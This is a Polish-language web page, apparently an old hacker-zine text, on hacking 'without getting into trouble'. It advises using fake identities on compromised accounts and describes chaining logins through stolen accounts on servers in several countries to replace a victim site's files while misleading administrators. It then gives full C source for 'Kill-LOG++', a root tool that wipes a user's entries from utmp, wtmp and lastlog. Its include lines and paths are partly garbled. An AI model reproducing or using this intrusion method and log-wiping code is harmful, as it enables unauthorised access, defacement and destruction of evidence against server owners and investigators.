profil

Hakowanie bez kłopotu

poleca 81% 3199 głosów

Treść
Grafika
Filmy
Komentarze

Jak hackowac by nie narobic sobie klopotow.


1 Podstawy: P0WER

1 Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych
danych. Nie posluguj sie tez danymi innych ludzi, zawsze uzywaj falszywych
danych.
2 Na zhakowanych kontach uzywaj najlepiej imion kobiecych, sa mniej
podejrzane.
3 Uwazaj z kim wymieniasz wiadomosci.
4 Nie dawaj nikomu telefonu, kogo nie znasz.
5 Nie hacz komputerow rzadowych.
6 Badz podejrzliwy!
7 Zadawaj pytania, lecz rob to delikatnie i nie licz, ze ktos Wytlumaczy
ci wszystko od podstaw.

2 JAK SIE WLAMAC BEZPIECZNIE: lcamtuf

Na podstawie swoich doswiadczen moge wam powiedziec jak bezpiecznie sie
wlamac - kiedy po prostu wejdziesz przez telnet na serwer to w logach
zostanie zanotowane "angel@dial003. zigzag. pl". Oto co mozna zrobic nie majac
nigdzie roota ani nie bawiac sie w czyszczenie logow:

0) Po zerowe - oczywiscie korzystaj z dial-upu TPSa: -)
1) Znajdujesz 2-3 serwery i rozkodowujesz okolo 4-5 kont na kazdym.
Najlepiej, zeby byly to serwery w roznych krajach, np. Hong-Kong i Polska.
Powiedzmy, ze mamy takie serwery: X. com, Y. com, Z. com, ofiara. com
oraz nastepujace konta: X1, X2, X3, X4, Y1, Y2, Y3. . . , Z1, ofiara
2) Logujesz sie na X. com jako X1, wysylasz tam "nowa" wersje strony.
Pozniej przez telnet z tego konta wpisujesz "ftp Y. com" i tam logujesz Sie
jako "Y1". . . UWAGA: Fizycznie jestes caly czas podlaczony do X. com !!!
Wysylasz na Y1 pliki. Pozniej wpisujesz na koncie X1 "telnet Y. com"
i piszesz "ftp X. com" i logujesz sie jako X2. Powtarzasz wszystko dla Konta
X2. . . I tak kilka razy - zajmie to z 10 razy wiecej czasu, ale zaraz
zobaczysz w czym tkwi kruczek. Caly czas jestes fizycznie polaczony
tylko z X. com i zalogowany na koncie X1, a plik jest juz na serwerze Y. com
na koncie Y4: -)

3) Po kilku petelkach mozesz wyslac jeszcze wszystko wrzucic na Z. com i
stamtad dopiero (bedac caly czas zalogowany na X jako X1 !!!) wpisac
"ftp ofiara. com" i zastapic oryginalne pliki nowymi. Pozniej wycofujesz sie
kasujac za soba pliki. . . Najlepiej jeszcz miec roota na jednym z tych
serverow i zatrzec za soba slady powiedzmy tak w polowie wyksowywujac sie z

logow.
I co teraz? Admin serwera ofiara. com patrzy w logi i widzi "Z1@Z. com". Pisze
wiec do root@Z. com ze ten gosciu sie wlamal. Voila. Z1 idzie na spytki!
Ale moze sie okazac, ze cala afera sie wyjasni i admin Z bedzie probowal
szukac dalej. Zajrzy do logow i zobaczy, ze na to konto logowal sie
"Y4@Y. com". Wysle wiec odpowiedni list do root@Y. com (hmmm, za granica,
wiec
admin musi sie niezle narobic). Ten zas powtorzy caly scenariusz, po czym
skapuje sie, ze logowal sie u niego "X4@X1. com". Napisze wiec do
root@X. com
(znowu za granice, bo do Polski). Ten znowu powtorzy caly scenariusz i znowu
napisze do roota serwera2, ze to przeciez "Y3@Y. com" sie u niego logowal: -)
Nie ma szans, zeby admini sie jakos dogadali, zwlaszcza gdy jeden z serwerow
jest poza krajem.
W sumie tyle zamieszania, ze na 100% admini sie nie dogadaja, a jak sie
nawet dogadaja, to minie pol roku zanim dojda do tego, ze logowal sie
gosciu "noname@ppp2-cst222. warszawa. tpnet. pl". . .
I co? Nic. . . Jesli beda bardzo uparci, to wysla podanie do TPSa o ujawnienie
wykazow bilingowych. Minie kilka miesiecy zanim podanie zostanie rozpatrzone,

a po tym czasie wykazy TePSy beda juz od wielu miesiecy na wysypisku. . .
Hehehe. Zdarza sie czasem, ze TPSA dziala szybciej i biling ujawnia
w niedlugim czasie, ale to musieli byscie juz niezle namieszac.
Poza tym przewaznie na TPSA wisi 100 - 200 modemow, wiec taki biling to nie
do konca jest dowod (chyba ze na serverze siedziales kilka godzin). Dlatego
trzeba dzialac szybko.

3 KillLOG: lcamtuf
Oto moj programik, ktory pozwoli wam "zniknac" z logow systemowych,
poprawiony tak, by dzialal pod linuxem:

-- CUT HERE --
*
Kill-LOG++ v0. 99b (fur linux)
-----------------------------------------------------------------------

Written by (unknown), improved by lcamtuf at 070797
Tested on Red Hat 4. x with kernel v2. 0. 27 und v2. 1. 43
-----------------------------------------------------------------------
Thiz prog removes user's activity from system logs. Root required: -)
Compilation: "gcc -o killlog killlog. c" (no warn mesgs)
Usage: ". killlog username", eg. ". killlog angel"
-----------------------------------------------------------------------
On some jerky linuxes you should use "find -name xxxx" (where xxxx means
wtmp, utmp and lastlog) to locate logfiles in your system, then recompile
Kill-LOG++ with correct paths:
gcc -o killlog killlog. c -DWTMP="path_to_wtmp" -DUTMP="path_to_utmp"
-DLAST="path_to_lastlog"
*
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef WTMP
#define WTMP "varlogwtmp"
#endif
#ifndef UTMP
#define UTMP "varrunutmp"
#endif
#ifndef LAST
#define LAST "varloglastlog"
#endif
int f, err=0;
void kill_utmp(char *who) {
struct utmp utmp_ent;
printf("Cleaning utmp. . . ");
if ((f=open(UTMP, O_RDWR))>=0) {
while(read(f, &utmp_ent, sizeof(utmp_ent))>0)
if (!strncmp(utmp_ent. ut_name, who, strlen(who))) {
bzero((char *)&utmp_ent, sizeof(utmp_ent));
lseek(f, -sizeof(utmp_ent), SEEK_CUR);
write(f, &utmp_ent, sizeof(utmp_ent));
}
close(f);
printf("done. n");
} else {
printf("unable to open logfile. n");
err=3;
}
}
void kill_wtmp(char *who) {
struct utmp utmp_ent;
long pos=1L;
printf("Cleaning wtmp. . . ");
if ((f=open(WTMP, O_RDWR))>=0) {
while(pos!=-1L) {
lseek(f, -(long)((sizeof(struct utmp))*pos), L_XTND);
if (read(f, &utmp_ent, sizeof(struct utmp))<0) pos=-1L;
else if (!strncmp(utmp_ent. ut_name, who, strlen(who))) {
bzero((char *)&utmp_ent, sizeof(struct utmp));
lseek(f, -((sizeof(struct utmp))*pos), L_XTND);
write(f, &utmp_ent, sizeof(utmp_ent));
pos=-1L;
} else pos+=1L;
}
close(f);
printf("done. n");
} else {
printf("unable to open logfile. n");
err=4;
}
}
void kill_lastlog(char *who) {
struct passwd *pwd;
struct lastlog newll;
printf("Cleaning lastlog. . . ");
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LAST, O_RDWR))>=0) {
lseek(f, (long)pwd->pw_uid*sizeof(struct lastlog), 0);
bzero((char *)&newll, sizeof(newll));
write(f, (char *)&newll, sizeof(newll));
close(f);
printf("done. n");
} else {
printf("unable to open logfile. n");
err=2;
}
} else {
printf("user not found. n");
err=1;
}
}
int main(int argc, char *argv[]) {
printf("nKill-LOG++ 0. 99b -- Linux Log Cleaner (improved by lcamtuf)n");
if (argc!=1) {
printf("----------nRemoving user's activity from logs. n", argv[1]);
kill_lastlog(argv[1]);
if (!err) kill_wtmp(argv[1]);
if (!err) kill_utmp(argv[1]);
if (!err) printf("Cool! Everything is ok. n");
else printf("Damn! Something fucked up. n");
printf("----------nn");
} else printf("Usage: %s usernamenn", argv[0]);
return err;
}

Czy tekst był przydatny? Tak Nie

Czas czytania: 6 minut